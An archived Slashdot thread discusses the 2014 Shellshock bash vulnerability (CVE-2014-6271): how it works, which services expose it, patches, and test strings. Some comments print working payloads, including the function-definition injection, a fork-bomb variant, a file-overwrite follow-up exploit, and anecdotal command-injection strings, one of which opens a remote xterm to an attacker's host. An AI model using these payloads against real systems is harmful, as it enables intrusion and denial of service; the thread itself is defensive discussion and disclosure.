Please create an account to participate in the Slashdot moderation system

 


Forgot your password?
Close
typodupeerror
×
Security Unix Linux

Remote Exploit Vulnerability Found In Bash 399

Posted by Soulskill from the don't-bash-bash dept.
kdryer39 sends this news from CSO: A remotely exploitable vulnerability has been discovered by Stephane Chazelas in bash on Linux, and it is unpleasant. The vulnerability has the CVE identifier CVE-2014-6271. This affects Debian as well as other Linux distributions. The major attack vectors that have been identified in this case are HTTP requests and CGI scripts. Another attack surface is OpenSSH through the use of AcceptEnv variables. Also through TERM and SSH_ORIGINAL_COMMAND. An environmental variable with an arbitrary name can carry a nefarious function which can enable network exploitation.
This discussion has been archived. No new comments can be posted.

Remote Exploit Vulnerability Found In Bash More

Remote Exploit Vulnerability Found In Bash

Comments Filter:
  • I'm not suprised; Bash has always felt a bit dangerous...

    • Re:Full Disclosure can be found on oss-security... (Score:5, Interesting)

      by lgw ( 121541 ) on Wednesday September 24, 2014 @12:45PM (#47985693) Journal

      This is exceedingly nasty.

      The vulnerability occurs because bash does not stop after processing the function definition; it continues to parse and execute shell commands following the function
      definition. ...

      The fact that an environment variable with an arbitrary name can be used as a carrier for a malicious function definition containing trailing commands makes this vulnerability particularly severe; it enables network-based exploitation.

      This is a weapons-grade exploit IMO, the sort of thing the NSA keeps hidden for when it's really needed. I'm almost surprised it wasn't suppressed.

      Hmm, I wonder how many phones are valuable.

      • I'm assuming you mean "how many phones are vulnerable."

        Only Nokia's N-series phones running Maemo, or Android phones with a Linux chroot are capable of running bash or sshd (without crazy hardcore modding).

        • Comment removed based on user account deletion

          • Otherwise Maemo's default shell was Busybox.

            Busybox isn't a shell. The default shell included in busybox is almquist shell (or ash) - so assuming Maemo uses the default it is ash, I can't remember - which is a bourne shell clone and I'm not sure whether ash also has this vulnerability.

      • Re: (Score:3)

        by gweihir ( 88907 )

        Really? It does require that you give the attacker control over the environment, which is a dubious thing to do in the first place. For the ssh-based attacks, you need to be at least a user on the system, which makes this a local privilege escalation only. Sure, if somebody actually uses bash as basis for CGI, this could be remotely exploitable, but there is no reason to panic.

    • Why does this have to depend on a magic string (â€) at all ? In this day and age are there not better ways to securely, out-of-band, tag information for special purposes ?

    • Re: (Score:3)

      by paskie ( 539112 )

      And now it turns out that even patched bash still carries some related security bugs. (Not really a surprise since the parser is complex and bound to, seems like running it on arbitrary environment variables really isn't the best idea...)

      So, if you think you are safe,

      export X='() { (a)=>\'
      bash -c 'brm date'
      cat brm

      (N.B. the backslash is not inhibiting the apostrophe in shell syntax.)

      That is, by crafter environment variables you can still overwrite files and run commands that were supposed to be parameters

  • So now it's the year of the Linux desktop (Score:5, Funny)

    by Anonymous Coward on Wednesday September 24, 2014 @12:17PM (#47985381)

    Because we've finally become popular enough to warrant script kiddies finding holes in our toys!
    Captcha: Outcry

  • Missing in windows? (Score:5, Funny)

    by Anonymous Coward on Wednesday September 24, 2014 @12:21PM (#47985405)

    I can't find the bash icon in the Start menu. Anyone know where it is so I can remove it and avoid this exploit?

    Thanks.

  • CentOS 6.5 already has fixed package available (Score:5, Insightful)

    by astro ( 20275 ) on Wednesday September 24, 2014 @12:22PM (#47985431) Homepage

    sudo yum update bash

    Thank you for the quick warning.

  • Only CGI scripts affected? (Score:2, Interesting)

    by Anonymous Coward

    So, if I undestand correctly, this affects shell scripts used for CGI; do people actually do that on what scale?

    Only person I know who does this is a CS teacher in my college, onhis homepage which he has had since early 90s, are there actually commercial installations which do this, some major product with large install base ("asking this for my son")?

    • Re: (Score:2)

      by gurnec ( 1011007 )

      This also affects other scripting languages executed via CGI if the code spawns a shell, e.g.:

      #!/bin/perl

      `cat header.html`

      It doesn't necessarily affect scripting languages executed via other means, e.g. mod_*

      • Any setuid program that would call a bash script directly or indirectly could also be vulnerable.

        I predict that in the following days hackers will find several ways to cause local privileges escalations by executing system bash scripts with customized environment variables. That could be as simple as configuring a hidden WiFi network with a customized ESSID.

         

    • Re:Only CGI scripts affected? (Score:4, Interesting)

      by TheCarp ( 96830 ) <sjc@[ ]panet.net ['car' in gap]> on Wednesday September 24, 2014 @12:40PM (#47985613) Homepage

      Oh I had the same thought....I mean, by the time an "attacker" is modifying arbitrary environment variables in your process, well...you are already pretty compromised. If you wrote your CGI, then you are the one that compromised yourself.

      That said, you know someone does this. Hell, I have had to deal with web applications written mostly in shell and did much of their processing in shell.... the only thing that really topped it for idiocy was when I dove into some perl4 code for a password change form and found this gem:

      $password = $q->param('password');
      if "`grep $password /usr/dict/words`" != "" {
      }

      No taint checking, nothing, just shell out with whatever someone put in the form. I loaded it up and added a "; touch /tmp/foo" on the end and verified there was no protection, then I found 4 more similar errors and figured that since security issues were not even why I opened the code to read it....I re-wrote it from scratch.

      • Wow, that's a special kind of stupid right there.

        • Ill top that one, back in the late 90's I was hired to check out an ISP's security. I was given standard user access to the web front end.

          They had a routine to un-tar/zip/etc a file. You could free form the file name so i entered

          junk.tgz:xterm -display my.IP.Addr:0.0

          To my surprise There was an xterm on my linux box right to their server, with full root access.

        • Re: (Score:3)

          by TheCarp ( 96830 )

          If you think that is bad, you should see the parts I didn't mention, the contents of that if statement was something like "$ERRORNO = 101"

          The structure of the program was very simple....it had 4 functions which were called in sequence, each one would set global variables, which would be read by the other. So, if ERRORNO was set, a whole nother function with a whole different big if statement block would then print out the error message..... which is why I opened the code up...one of the errors was wrong.

          So

      • A friend of mine wrote a small web application for french conjugation, with verbiste (https://launchpad.net/ubuntu/+source/verbiste).
        You type a verb, and it gives you a table like this one :
        http://french.about.com/od/ver... [about.com]

        My verb was "avoir && whoami", and its conjugation was "root" :D

      • Not arbitrary variables - QUERY_STRING (Score:5, Informative)

        by raymorris ( 2726007 ) on Wednesday September 24, 2014 @02:29PM (#47986855) Journal

        > Oh I had the same thought....I mean, by the time an "attacker" is modifying arbitrary environment variables in your process, well...you are already pretty compromised. If you wrote your CGI, then you are the one that compromised yourself.

        The contents of the CGI script don't matter. The exploit occurs before the script runs. It happens as bash is setting up the environment in which the script will be run.

        Suppose you have pwd.cgi, which prints the name of the current directory:

        #!/bin/sh
        echo -e "Content-type: text/plain\n\n"
        pwd

        Notice the script uses no input at all. It is potentially vulnerable. Here's why. Suppose you did want to validate your input. You'd look at the contents of $QUERY_STRING, right? You can find what the user entered in the QUERY_STRING environment variable because bash puts it there. That's the step where the problem lies - bash can EXECUTE the contents of the query string while setting the environment variable. This occurs before the user's script even begins to run.

    • I'm trying to figure out if the OpenSSH vectors are actually remote exploits or just a privilege escalation in a remote access tool. From what I understand, a user has to be authenticated to get access to any of the variables this exploit can run through.

      • Re: (Score:3)

        by Uecker ( 1842596 )

        Yes. This only works if the user has an account. But he might be able to break out of a locked-down account which only runs a specific command.

    • You can get shell on git@ accounts set up with gitolite and gitosis, at least some of their versions will use /bin/bash as the login shell (and only use ~/.ssh/authorized_keys to restrict the commands). One easy way to check whether your git server account is vulnerable:

      ssh git@yourgitserver '() { echo $1; }; /usr/bin/id'

    • Or a CGI script written in a some other lanaguage - like python or perl - or a binary that is on a system with bash as the default shell and which calls the system function in libc (or an equivalent) since that will execute /bin/sh.

      There will be a lot of such cases - running a "mail" command or something from imagemagick and so on.

    • Many, many sites have one line scripts like this laying around:

      #!/bin/sh

      echo -e "Content-type: text/plain\n\n"
      df -h

      Or similarly, a script that just runs pwd or uptime.

  • Already fixed in Debian... (Score:5, Informative)

    by msauve ( 701917 ) on Wednesday September 24, 2014 @12:28PM (#47985509)
    Linky [debian.org]

    • Re: (Score:3)

      by reikae ( 80981 )

      I wonder if Debian's default /bin/sh being dash instead of bash reduces the attack surface somewhat. Do usual configurations of web servers (and others listed in TFA) call /bin/sh or /bin/bash directly?

      Hindsight is 20/20 obviously, but it makes sense to use a shell with limited features in cases where limited features are enough (especially when remotely accessible). On the other hand, now you've got two shells with potential security issues instead of just one.

      • Re: (Score:2)

        by paskie ( 539112 )

        On repo.or.cz, as login shell for all git user accounts we use a shell script that does some verifications, shows nice error messages etc. Thankfully, #!/bin/sh is at the top of the script and that's dash on the Debian server; otherwise, we would have been vulnerable. (Only getting into a chroot as non-root, but still...)

    • Re: (Score:2)

      by trawg ( 308495 )

      Fixed in wheezy (v7), but not squeeze (v6). Status: https://security-tracker.debia... [debian.org]

    • app-shells/bash-4.2_p47-r1 is not vulnerable. I just updated.

  • Thanks god (Score:4, Funny)

    by Anonymous Coward on Wednesday September 24, 2014 @12:33PM (#47985551)

    Thanks god I am using windows.

  • Test string here: (Score:5, Informative)

    by B5_geek ( 638928 ) on Wednesday September 24, 2014 @12:41PM (#47985625)
    This is the test to see if you are vulnerable:

    env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

    • Re: (Score:3)

      by TheCarp ( 96830 )

      I have to admit, my suspicous old self had to spend a minute making sure this wasn't a fork bomb. Which, I have to say, this would be the perfect thread for if you were into that sort of mischief. In any case, yah that shouldn't worl. That really shouldn't work at all.

      • Re: (Score:2)

        by B5_geek ( 638928 )

        =)
        I too was suspicious of that fork-bomb potential. So the first time I ran it was on a test-vm.

        I'm glad I am not the only paranoid one.

        • Re: (Score:2)

          by TheCarp ( 96830 )

          > I too was suspicious of that fork-bomb potential. So the first time I ran it was on a test-vm.

          lol well, as annoying as they can be, I have beaten a fork bomb before without rebooting so, I was confident enough after a quick perusal to not be afraid, especially since....come on, the function isn't even being called how can it possibly exec.....fuck

    • Re: (Score:2)

      by Spaham ( 634471 )

      was vulnerable (on debian),
      $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
      vulnerable
      this is a test
      Just ran apt-get update and upgrade and :
      $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
      bash: warning: x: ignoring function definition attempt
      bash: error importing function definition for `x'
      this is a test

    • Re:Test string here: (Score:5, Informative)

      by chihowa ( 366380 ) * on Wednesday September 24, 2014 @01:15PM (#47985965)

      The (ancient) version of bash that ships with OS X appears vulnerable. Luckily, as a remote exploit, only authenticated ssh sessions and cgi scripts etc expose it, so most single user workstations (of all OSs) should be safe.

      If this is a bash exploit, and not a Linux exploit, why all of the focus on Linux in the article? I use bash on many different OSs.

    • Re: (Score:3)

      by Megane ( 129182 )
      FWIW, I tried changing "echo vulnerable" to "whoami" and it didn't work. In fact, it segfaulted! Then I changed it to "echo `whoami`" and it worked as expected. So while it may possibly only work directly with built-in shell commands, they still get the full benefit of the command line parser and its handling of backquotes.

  • Really? Using bash for CGI? (Score:4, Interesting)

    by Anonymous Coward on Wednesday September 24, 2014 @12:48PM (#47985717)

    All the systems I've done security pen tests against that were using bash for CGI were so easy to hack via other means it wasn't funny. And of course that web server CGI was running as root so root shell and done.

    Stop using Bash for CGI unless you want to get pwned. Similar theme with 90% of the Perl CGI I run into.

    • Re: (Score:2)

      by MSG ( 12810 )

      From the CVE, I'm pretty sure the problem isn't limited to CGI written in Bash. The problem affects any CGI that *calls* bash, which means any call to system() in any language is going to cause a problem.

      • The problem affects any CGI that *calls* bash, which means any call to system() in any language is going to cause a problem.

        Nowadays, on most systems, /bin/sh is a proper Bourne Shell (either ash or dash), and no longer bash. So system() should no longer be an issue, but explicitly calling bash still would be...

  • Terminal vulnerabilities (Score:3)

    by Dimwit ( 36756 ) on Wednesday September 24, 2014 @12:48PM (#47985719)

    My favorite of this sort of thing is CVE-2009-1717, which was a bug in Apple's terminal emulator in Mac OS X. Sending certain escape sequences to it caused it to blow up and potentially execute code. What was fun is that putting a "telnet://" link in a web page would automatically cause Mac OS X to automatically open a terminal and connect to a remote host with no prompting by the user. It was a pretty neat vulnerability.

  • Exploit depends on not validating input? (Score:3)

    by h4ck7h3p14n37 ( 926070 ) on Wednesday September 24, 2014 @12:50PM (#47985745) Homepage

    Someone correct me if I'm mistaken, but doesn't this exploit depend on programs not validating input?

    The example given in the post to oss-security mentions HTTP request headers containing malicious data being passed into CGI programs which then call out to Bash. Wouldn't taint-checking input eliminate that attack vector?

    • Re: (Score:3)

      by Qzukk ( 229616 )

      It's not being passed in as usual data, it's being passed in as environment variables, most programmers ignore all the variables that are not relevant to their program (which is usually all of them).

    • When httpd runs a CGI script, it passes data to the script with bash environment variables. That means the code would be executed by httpd in whatever context it runs CGI scripts. The CGI script itself hasn't even been executed yet.

    • You are mistaken. No input processing needed (Score:4, Informative)

      by raymorris ( 2726007 ) on Wednesday September 24, 2014 @01:50PM (#47986375) Journal

      > Someone correct me if I'm mistaken, but doesn't this exploit depend on programs not validating input?

      Suppose you have pwd.cgi, which prints the name of the current directory:

      #!/bin/sh
      echo -e "Content-type: text/plain\n\n"
      pwd

      Notice the script uses no input at all. It is potentially vulnerable. Here's why. Suppose you did want to validate your input. You'd look at the contents of $QUERY_STRING, right? You can find what the user entered in the QUERY_STRING environment variable because bash puts it there. That's the step where the problem lies - bash can EXECUTE the contents of the query string while setting the environment variable. This occurs before the user's script even begins to run.


  • So far, HTTP requests to CGI scripts have been identified as the major
    attack vector.

    Umm.. who still does that? That sounded wonky, risk-prone, and a hack in the mid 90s. Who's still using CGI scripts to execute shell code?

  • Who does CGI with anything but a restricted shell these days? And should we shoot them now, or after they fix their scripts?

    • it affects other things than CGI, remote services that call bash for example: dhcp client being one listed in Redhat's CVE page

  • so a remote fork bomb is possible? (Score:5, Interesting)

    by Killer Instinct ( 851436 ) on Wednesday September 24, 2014 @01:24PM (#47986079) Journal
    VAR=() { ignored; }; : :(){ :|:& };:

  • Worse than you think. (Score:5, Interesting)

    by slimjim8094 ( 941042 ) on Wednesday September 24, 2014 @03:44PM (#47987731)

    Almost *ANY* CGI is vulnerable, because the way CGI works is by environment variables. And the attacker can control them. You don't have to be doing anything stupid or wrong to be affected. It looks like other ways of executing web applications (e.g., mod_php) are safe - to the extent that they don't use a popen or a system() or something, which is a pretty common thing to do.

    Your DHCP client (on a Linux) machine passes data to its hooks via environment variables. These can be set by the attacker. Even better, it's running as root. Boom, connect to a rogue AP and get rooted while receiving an address assignment.

    You probably do Git commits via a (locked-down) SSH login. That's compromised.

    Shells are everywhere. Again, this doesn't require your application to have screwed up. This is a flaw in how environment variables are parsed and set, which is something that was presumed safe, so nobody thought about it. Bad bad bad bad. Not Heartbleed bad, but close.

  • Detailed info from RedHat (Score:4, Informative)

    by Beeftopia ( 1846720 ) on Wednesday September 24, 2014 @09:02PM (#47990071)

    Example attacks are listed on Red Hat's security blog. [redhat.com]

Slashdot Top Deals

Were there fewer fools, knaves would starve. - Anonymous

Close